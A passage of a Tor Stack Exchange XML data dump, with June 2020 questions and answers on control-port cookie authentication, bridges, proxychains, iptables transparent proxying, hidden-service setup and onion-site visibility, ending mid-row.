  <row Id="21312" PostTypeId="1" AcceptedAnswerId="21319" CreationDate="2020-06-10T18:26:45.397" Score="0" ViewCount="232" Body="&lt;p&gt;I want to do strange thing. I write a custom application (distributed forums node) that will run on the same computer with TorBrowser and use tor process to create temporary hidden service and serve HTTP from it. Also it will perform outgoing connections to speak other nodes. Outgoing connections work perfectly (I just send socks4a header to localhost:9150, receive response and proceed as normal tcp connection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hard part is to make my application talk to control port to create hidden service without manually editing torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor control port requires authentication. torrc needs to be edited to add hashed password or authentication cookie file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make easy-to-setup application and I don't want to ask user to find torrc file and edit it manually. It must be done different way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the right way to go here? Should I ask user to edit torrc file of TorBrowser to make my application talk to tor control port?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for my application to handle this without user interaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it acceptable to edit torrc file automatically from my application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TorBrowser uses tor control port to retrieve circuit details that user may see in torButton for each site. Is it possible to use the same authentication method in my application and use same password? If TorBrowser uses cookie file, can I sniff contents of this file and use it to authenticate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there authentication cookie file somewhere in the TorBrowser directory, that other applications can use to talk to control port?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My programming language is C and application will run on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD: Short question:&lt;/strong&gt; Is it acceptable behavior to edit torrc configuration file automatically? Can I avoid torrc editing and still be able somehow to authenticate to tor control port?&lt;/p&gt;&#xA;" OwnerUserId="30420" LastEditorUserId="30420" LastEditDate="2020-06-12T10:35:45.663" LastActivityDate="2020-06-12T11:13:41.587" Title="Should my custom application modify torrc to authenticate itself in ControlPort?" Tags="|stem|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21313" PostTypeId="1" AcceptedAnswerId="21314" CreationDate="2020-06-11T00:04:34.330" Score="0" ViewCount="38" Body="&lt;p&gt;I have a problem regarding a specific package (obfs-proxy) which for some reason is not availabe anymore(at least not on archlinux anyway) and wanted to create a ticket on the trac but apparently I don't have enough rights to do it as I'm getting the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TICKET_CREATE privileges are required to perform this operation on&#xA;  Ticket #None. You don't have the required permissions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarification the reason I want this package is because the only way I can access tor is through bridges and I need to add it to my torrc so I can use torsocks.&lt;/p&gt;&#xA;" OwnerUserId="23329" LastActivityDate="2020-06-11T01:27:50.497" Title="TICKET_CREATE privileges - Can't create a ticket on the tracker" Tags="|torsocks|tor-install|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21314" PostTypeId="2" ParentId="21313" CreationDate="2020-06-11T01:27:50.497" Score="3" Body="&lt;p&gt;The Tor Project is currently in the process of migrating from trac to a Gitlab instance. It may be difficult to report issues there for the next few weeks. Instead you can try mailing lists, or asking on the #tor IRC channel at OFTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for your actual question, I don't think that the Tor Project is the maintainer of the tor or obfs4proxy packages on Arch.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-06-11T01:27:50.497" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21315" PostTypeId="1" CreationDate="2020-06-11T02:40:28.640" Score="0" ViewCount="42" Body="&lt;p&gt;I continue to get the message &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your post cannot be submitted at this time due to the volume of spam and abuse originating from your network. We apologize for any inconvenience. See the help center for more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;upon attempting to post a question on Superuser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had a Stackexchange account for several years, however I just recently joined the Super User community. I seem to be primarliy having this issue with Super User.&#xA;How can I get around this, to post my question on Super User.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also impossible to message the support about it, as it requires a Google Captcha and the Captcha states it is getting too many automated requests to process.&lt;/p&gt;&#xA;" OwnerUserId="7916" LastEditorUserId="7916" LastEditDate="2020-06-11T11:53:56.957" LastActivityDate="2020-06-11T11:53:56.957" Title="How can I post on Super User using Tor?" Tags="|google|captcha|botnet|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21316" PostTypeId="1" CreationDate="2020-06-11T11:49:12.313" Score="0" ViewCount="3676" Body="&lt;p&gt;i configured proxychains to use TOR and enabled No DNS Leak,&#xA;i installed TOR and it's working fine (masking my IP and DNS).&#xA;I also downloaded TOR Browser to use instead of firefox.&#xA;Can someone help me , what is the best and safest way to use Tor Browser anonymously? &#xA;can be used along with proxychains like? &#xA;$ proxychains tor address&lt;br&gt;&#xA; or how can i do that?&lt;br&gt;&#xA;(Even i'll be pleased if there is a safest way to use Tor Browser)&lt;/p&gt;&#xA;" OwnerUserId="30425" LastActivityDate="2022-12-01T13:05:15.627" Title="Can TOR Browser be used with proxychains?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21317" PostTypeId="1" CreationDate="2020-06-11T13:00:50.437" Score="1" ViewCount="133" Body="&lt;p&gt;&lt;a href=&quot;https://docs.ginuerzh.xyz/gost/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gost&lt;/a&gt; is a networking module which allows you to treat it as many things including a transparent proxy. It also allows for proxy chaining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On their page regarding &lt;a href=&quot;https://docs.ginuerzh.xyz/gost/en/redirect/?__cf_chl_captcha_tk__=202e38e36d42e47e4b6ac250b7081ed88142989f-1591847302-0-AXRXOOjhTwisZleFQtX9RctEKHgwiKq9FexGXQ18DYDRGGtR-j9-a4w_uK7v3ELbsFsCN3TqukePs0btzt71N71LvIRh7S5VZfYYXoUQyr_BBw9ZZdFyY3bCWBycTX3W4uBhyKCItsQfXl0YHDoagqFV5ktr2QowivHob-12eOMcYH3DGDv0JSfkV0wpuKPiy1k7opDUYh7AWOZZIp8Fw3jShx3E_FBWSjViZvHv-bm9oN19FJzCNcX7f9-T6I8OzXZcrCdyoNcUPug2wQIG_Ia3v0BvBFngNZ3DME5jCx71wgOzd34x3iCRZ4L1BdbQ7G2ijbWvoVJPlA3DF1imbSY7poqPX1t2axTuVLWNSmwKpzmVb4gbHSKp3fqSUwbxzxNMJYysZPuukXR7wnmf1ZIS3yWW5pipXmytmnsMzJnE_uBwtAj3nMy62r0O8QPCxDW7LWueYqdH-2myCsgjoZMQM8L4imxSaXi0GJlZP3PVj7ifcQjeR-shmYvrlXFtxFBP0jjSIhn5QJCH-Xb4y83yeW5UNfd1_GOkvdgJrjZe&quot; rel=&quot;nofollow noreferrer&quot;&gt;transparent proxies&lt;/a&gt; you can see that there is a way to write iptables rules such that udp traffic is forwarded to the transparent proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However their iptables rules seem to incorporate tproxy and this is where my issue occurs. What I'm trying to achieve is that I want &lt;em&gt;all&lt;/em&gt; udp traffic forwarded to gost - not just traffic specific to a particular port. However on their iptables rules they seem to specify a rule using tproxy in which packets are marked only when sent to a particular port number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess my question is there any way to accomplish what I'm trying to do? That is, forward all udp traffic to the gost transparent proxy using iptables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of you who do not want to visit the links here is what the iptables rules are that were written out on the gost website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t mangle -N GOST&#xA;iptables -t mangle -N GOST_LOCAL&#xA;&#xA;iptables -t mangle -A GOST -d 255.255.255.255/32 -j RETURN&#xA;iptables -t mangle -A GOST -d 127.0.0.0/8 -p udp -j RETURN&#xA;iptables -t mangle -A GOST -d 192.168.0.0/16 -p udp -j RETURN&#xA;iptables -t mangle -A GOST -p udp -j TPROXY --on-port 12345 --on-ip 0.0.0.0 --tproxy-mark 1&#xA;&#xA;iptables -t mangle -A GOST_LOCAL -d 255.255.255.255/32 -j RETURN&#xA;iptables -t mangle -A GOST_LOCAL -d 192.168.0.0/16 -p udp -j RETURN&#xA;iptables -t mangle -A GOST_LOCAL -d 1.2.3.4/32 -p udp -j RETURN&#xA;iptables -t mangle -A GOST_LOCAL -p udp -j MARK --set-mark 1&#xA;&#xA;iptables -t mangle -A PREROUTING -j GOST&#xA;iptables -t mangle -A OUTPUT -j GOST_LOCAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then they seem to have some rule regarding a routing table. I'm not sure what that is but I will include it just to make sure that I'm thorough.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ip rule add fwmark 1 table 100&#xA;ip route add local 0.0.0.0/0 dev lo table 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30426" LastActivityDate="2020-06-11T13:00:50.437" Title="Alternative to tor that supports multiple protocols" Tags="|proxy|iptables|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21318" PostTypeId="2" ParentId="21316" CreationDate="2020-06-11T20:13:01.483" Score="0" Body="&lt;p&gt;From the &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#Proxychains&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Proxychains is a program that sends your traffic through a series of&#xA;  open web proxies that you supply before sending it on to your final&#xA;  destination. Unlike Tor, proxychains does not encrypt the connections&#xA;  between each proxy server. An open proxy that wanted to monitor your&#xA;  connection could see all the other proxy servers you wanted to use&#xA;  between itself and your final destination, as well as the IP address&#xA;  that proxy hop received traffic from.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Because the Tor protocol requires encrypted relay-to-relay&#xA;  connections, not even a misbehaving relay can see the entire path of&#xA;  any Tor user.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;While Tor relays are run by volunteers and checked periodically for&#xA;  suspicious behavior, many open proxies that can be found with a search&#xA;  engine are compromised machines, misconfigured private proxies not&#xA;  intended for public use, or honeypots set up to exploit users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-11T20:13:01.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21319" PostTypeId="2" ParentId="21312" CreationDate="2020-06-12T11:13:41.587" Score="1" Body="&lt;p&gt;Answer is &lt;a href=&quot;https://tor.stackexchange.com/questions/1449/authenticate-telnet-connection?rq=1&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to edit &lt;code&gt;torrc&lt;/code&gt;. Just locate &lt;code&gt;control_auth_cookie&lt;/code&gt; file in TorBrowser directory. (it is &lt;code&gt;Browser/TorBrowser/Data/Tor/control_auth_cookie&lt;/code&gt;) Use it's contents as a parameter to AUTHENTICATE command. TorBrowser control port is 9151, not 9051.&lt;/p&gt;&#xA;" OwnerUserId="30420" LastActivityDate="2020-06-12T11:13:41.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21320" PostTypeId="1" CreationDate="2020-06-12T19:53:39.130" Score="2" ViewCount="10529" Body="&lt;p&gt;i'm trying to set up a hidden service for an existing webserver that is behind a reverse proxy and i'm unable to get it work. i had no problems creating hidden services on servers with no reverse proxy so i thought that could be the issue. the reverse proxy mainly just takes care of https redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;following the tor project instructions:&#xA;&lt;a href=&quot;http://3gldbgtv5e4god56.onion/onion-services/setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://3gldbgtv5e4god56.onion/onion-services/setup/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;torsocks curl http://3gldbgtv5e4god56.onion&lt;/code&gt; from the server works, so tor is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried letting tor connect to either the reverse proxy or the backend, matching the torrc &lt;code&gt;HiddenServicePort&lt;/code&gt; entry to a virtual host on either server. when i load the onion address in a browser, i get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Invalid Onionsite Address&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[x] Browser | Network | Onionsite&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The provided onionsite address is invalid. Please check that you entered it correctly.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Details: 0xF6 — The provided .onion address is invalid. This error is returned due to one of the following reasons: the address checksum doesn't match, the ed25519 public key is invalid, or the encoding is invalid.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in the &lt;code&gt;tor/notices.log&lt;/code&gt;&#xA;i see this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[warn] Could not mmap file &quot;/var/lib/tor/cached-microdescs&quot;: Permission denied&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[err] Couldn't map file that we just wrote to /var/lib/tor/cached-microdescs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;right after &lt;code&gt;Bootstrapped 0%: Starting&lt;/code&gt;, but then it finishes bootstrapping with no further problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm not sure if either error message is reliably pointing to my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;can i test my new address any other way? [surely its fine?]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;can i test that tor is able to receive incoming connections?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;wd this error maybe show up if the address was ok but not correctly configured to connect to a service?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;are any extra steps involved when configuring a hidden service with a reverse proxy?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;could it be a ports issue if my server is already running a clearnet service?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;is there a likely 'translation' of this error message?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;i also just tried setting up a new hidden service from scratch, and then a new server block on the reverse proxy server, but now just pointing to a new webroot with a dummy index.html (which i can access locally with &lt;code&gt;http://127.0.0.1:80&lt;/code&gt;), and i still get the same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;i'm installing LTS tor from debian stable. after installing i have enabled/run/restarted it with systemctl. i've not set 'run as daemon'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;permissions on &lt;code&gt;/var/lib/tor&lt;/code&gt; are &lt;code&gt;drwx--S--- 4 debian-tor debian-tor&lt;/code&gt;, and on the &lt;code&gt;cached-microdescs&lt;/code&gt; they are &lt;code&gt;-rw------- 1 debian-tor debian-tor&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2 as per steve's request for more detail:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;i'm not running tor from the commandline, no. just &lt;code&gt;systemctl enable/restart&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;i'm not in a container. i am on an arm box, no vm.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;torrc looks like&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file /var/log/tor/notices.log&#xA;HiddenServiceDir /var/lib/tor/onion/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the server block i set up looks like&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    listen 127.0.0.1:80;&#xA;    server_name xyxyxyxzzzz.onion;&#xA;    root /var/www/onion;&#xA;    access_log off;&#xA;&#xA;    index index.html index.html index.nginx-debian.html;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;i got my onion address as recommended by the docs: &lt;code&gt;sudo cat /var/lib/tor/onion/hostname&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;i don't actually know what mmapping a file is. the permissions for dirs + files are defaults on fresh tor install.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Tor version 0.3.5.10.&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;an onion my tor created (random/not configured in the webserver): &lt;code&gt;uj23izqtsljsbsqrn2qfyvxl6t22az5nthhneufwjnutajd4pe2c43yd.onion&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;also, if i create a random onion with no webserver config on a different box, i don't get the same error. if the torrc conf is for an open port (eg 80), i get a 404, and if i put a dead/closed port in the torrc file, i get the standard firefox &quot;Unable to connect&quot; error.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="30375" LastEditorUserId="30375" LastEditDate="2020-06-13T19:22:54.977" LastActivityDate="2020-06-13T19:22:54.977" Title="hidden service + reverse proxy not working" Tags="|configuration|onion-services|proxy|" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="21323" PostTypeId="1" CreationDate="2020-06-13T18:35:28.873" Score="1" ViewCount="451" Body="&lt;p&gt;I have installed Tor as a service on my Windows machine, because I occasionally need to tunnel things through Tor (e.g., SSH-over-Tor) and want to be able to do this without having to run the Tor Browser all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The service and the tunneling of things works just fine. However, while the service is running, the Tor Browser refuses to start. (If I stop the service, it starts just fine.) This is because the Browser is launching the Tor process itself, and you either can't have two copies of the process run simultaneously, or there is some other kind of conflict (e.g., they both are trying to listen to the same ports).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper way of fixing this? Is there a way to tell the Browser not to try to launch a Tor process but to use the running service instead? Or should I run the service with a separate &lt;code&gt;torrc&lt;/code&gt; file and tell it to listen to different ports? (And how do I do this?)&lt;/p&gt;&#xA;" OwnerUserId="21474" LastActivityDate="2020-06-13T18:35:28.873" Title="Can't start the Tor Browser if Tor is running as a Windows service" Tags="|tor-browser-bundle|configuration|windows|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21326" PostTypeId="1" CreationDate="2020-06-15T03:09:08.750" Score="0" ViewCount="619" Body="&lt;p&gt;Lately I've been unable to get past the CloudFlare hCaptcha challenges for certain sites. It just keeps serving the same &quot;One more step&quot; page after I complete each hCaptcha.  This didn't use to be the case, I used to be able to access these sites after only one challenge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think I'm making mistakes when I identify the umbrellas, airplanes, bicycles, etc.  But It seems no matter how many times I do this, I can never make it past the page.&#xA;Choosing &quot;New Tor connection for this site&quot; doesn't help either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on, and how do I get past this?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Using Tor mode in Brave browser.)&lt;/p&gt;&#xA;" OwnerUserId="30441" LastActivityDate="2020-06-15T03:09:08.750" Title="Unending hCaptchas from CloudFlare sites?" Tags="|captcha|cloudflare|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21327" PostTypeId="1" AcceptedAnswerId="21328" CreationDate="2020-06-15T12:51:17.327" Score="0" ViewCount="267" Body="&lt;p&gt;What happens when ISP blocks all DA's.&#xA;Do we need to use a VPN?&#xA;Are DA's blocked in Tor blocked countries?&#xA;How a Tor client gets bridge IP when DA's are blocked?&lt;/p&gt;&#xA;" OwnerUserId="30418" LastActivityDate="2020-06-15T15:38:36.140" Title="What happens when an ISP blocks all directory servers?" Tags="|bridge|vpn|directory|blocked|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21328" PostTypeId="2" ParentId="21327" CreationDate="2020-06-15T13:54:25.443" Score="1" Body="&lt;p&gt;If Tor is blocked, you should use a bridge (typically one supporting the obfs4 transport). You can get a bridge &lt;a href=&quot;https://tb-manual.torproject.org/circumvention/&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the settings of the Tor Browser&lt;/a&gt;, or from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;. If you cannot access that website, you can connect to it using a VPN or use an alternative bridge distribution method:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Another way to get bridges is to send an email to bridges(at)torproject.org. Leave the email subject empty and write &quot;get transport obfs4&quot; in the email's message body. Please note that you must send the email using an address from one of the following email providers: Riseup or Gmail.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Censors will often try to learn all the bridges, but the Tor Project attempts to make it difficult for them. When you request bridges on the website, it limits the number of bridges you can learn by your IP address (actually a block of IP addresses). If you wanted to learn many bridges, you would need to query the website from many different IP addresses in different locations. And when you request bridges through email, each email address can only learn a few bridges, so the censor needs to defeat Gmail's captcha/spam defenses and make many Gmail accounts if they want to learn all the bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this makes it difficult for censors, it's not impossible for them to learn many bridge relays. Because of this, some people run bridges that aren't published to BridgeDB (the bridge distributor powering the tools above). To get one of these private bridges, you need to learn about it from some other source (for example a friend running one in another country).&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-06-15T15:38:36.140" LastActivityDate="2020-06-15T15:38:36.140" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21329" PostTypeId="1" AcceptedAnswerId="21330" CreationDate="2020-06-15T15:16:14.193" Score="2" ViewCount="583" Body="&lt;p&gt;I know most of the people try to hide their hidden service from search engines but in my case I want to optimize it's rank when searching for it or for tags it contains in search engines (both deep web search engines and clear net search engines).&#xA;I mentioned clear-net as I saw that some of the hidden services are searchable from Google with &quot;.onion.to&quot; or &quot;.onion.ws&quot; proxy sites.&#xA;Also I have to say that I added my hidden service into some deep web lists and some tor search engines which have manual website submission, but not successful, when I search for my website, even after I search for exact url the search engines can't find it.&#xA;I have to add that it's 24 hours past since I created and submitted my .onion site.&#xA;I also tried google search console and added the  tag into first page of my onion site and also added the proxified site (MyWebsite.onion.to  or MyWebsite.onion.ws) inot google but google can't detedct it. I don't know why.&lt;/p&gt;&#xA;" OwnerUserId="30444" LastActivityDate="2020-06-15T17:07:59.907" Title="How to SEO a .onion website?" Tags="|onion-services|web-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21330" PostTypeId="2" ParentId="21329" CreationDate="2020-06-15T17:07:59.907" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I also tried google search console and added the tag into first page of my onion site and also added the proxified site (MyWebsite.onion.to or MyWebsite.onion.ws) inot google but google can't detedct it. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not that Google can't detect it, it's that they don't try. You can't even find facebook's .onion service there. Why? Because their search spiders are not using Tor and Google is pretty anti-Tor. You can try submitting your page to privacy respecting engines sites like &lt;a href=&quot;https://duckduckgo.com/newbang&quot; rel=&quot;nofollow noreferrer&quot;&gt;duckduckgo&lt;/a&gt; but I don't know how much luck you'll have if they can't index the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to advertise it on social media. &lt;a href=&quot;https://www.reddit.com/r/onions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/onions/&lt;/a&gt; keeps lists of submitted onion services.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-15T17:07:59.907" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21332" PostTypeId="2" ParentId="20166" CreationDate="2020-06-16T08:12:33.147" Score="0" Body="&lt;p&gt;The Tor project provides public &lt;a href=&quot;https://gitweb.torproject.org/tor.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;git records&lt;/a&gt; in their repository. So people can pull up who/when the code is written with a few commands. There's also the &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;mailing list&lt;/a&gt; that you can read to learn more about why some feature is added. It's also where code review is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if they really use the source code to build Tor. Tor supports &lt;a href=&quot;https://en.wikipedia.org/wiki/Reproducible_builds&quot; rel=&quot;nofollow noreferrer&quot;&gt;deterministic builds&lt;/a&gt;. Anyone can build Tor with the same compiler as Tor uses and &lt;a href=&quot;https://crypto.stackexchange.com/questions/19659/comparing-files-is-it-better-to-use-multiple-hash-algorithms-or-just-one&quot;&gt;compare the hash&lt;/a&gt; of the output. If the build process is configured correctly yet the generated hash is different from the one Tor &lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/8.0a7/sha256sums-signed-build.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;publishes&lt;/a&gt;. Then it indicated the published Tor binary is not built with the same source code. Which may mean the code have been tempered. Security researchers and Linux distributions routinely check for this. Any tiny differ will trigger alarms everywhere. In fact Tor does more than just hashes. All official Tor releases have a &lt;a href=&quot;https://dist.torproject.org/torbrowser/10.0a1/tor-browser-linux64-10.0a1_en-US.tar.xz.asc&quot; rel=&quot;nofollow noreferrer&quot;&gt;signature&lt;/a&gt; &lt;a href=&quot;https://www.techrepublic.com/article/how-to-sign-a-file-on-linux-with-gpg/&quot; rel=&quot;nofollow noreferrer&quot;&gt;signed&lt;/a&gt; with a GPG key. Only the Tor project have the ability to make the signature (thanks to cryptography). Anyone else can't make a valid one and any modification to the file will cause the verification process to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, security researchers all over the world are trying their best to hack Tor. - This is how security research works. If they found any vulnerability in Tor (including vulnerabilities put into Tor by let's say, governments). They notify the Tor project immediately then they publish their finding after (let's say) a year regardless Tor fixes the vulnerability or not. Tor is responsible to patch the issue or else they'll get hit by the vulnerability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion. There's a lot of way to check if Tor is valid. From having no backdoors to  making sure their binaries are actually built with the source code to confirming your download is not tempted with. And any security researcher will be the first one to scream when something starts to smell fishy.&lt;/p&gt;&#xA;" OwnerUserId="30201" LastActivityDate="2020-06-16T08:12:33.147" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21333" PostTypeId="1" CreationDate="2020-06-16T22:00:53.907" Score="0" ViewCount="58" Body="&lt;p&gt;I have set up a hidden service.&#xA;The domain at / var / lib / tor / hidden_service is very long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example.&lt;/strong&gt;&#xA;&lt;em&gt;tbwvbpnuwntiuofn4e3vwpsldmuxs3l5zv4vy3dbfpv5psmkrycmqid.onion&lt;/em&gt; V3 how can i set v2 or replace the domain with my bruted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to insert my private key to use my domain (bruted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key file cannot be overwritten, however, because the file is replaced each time tor &quot;service tor restart&quot; is replace?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content of the private key is also encrypted&#xA;Example:&#xA;J) (§ $) * &quot;&quot; § (§ $ # § $ 78 /&#xA;§/$(§=§)$=)=§&quot;§'§&lt;em&gt;$&quot;§'$&lt;/em&gt;§ $ 78 /&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I did it according to this guide&lt;/strong&gt;&#xA;&lt;a href=&quot;https://famicoman.com/2018/01/05/configuring-a-tor-hidden-service/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://famicoman.com/2018/01/05/configuring-a-tor-hidden-service/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also works but I want to use my private keys.&#xA;Can someone help me? :( I've been looking for 8 hours. Google doesn't help me there.&#xA;I tried PHP 7.0 and PHP 7.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards.&lt;/p&gt;&#xA;" OwnerUserId="30453" LastEditorUserId="30453" 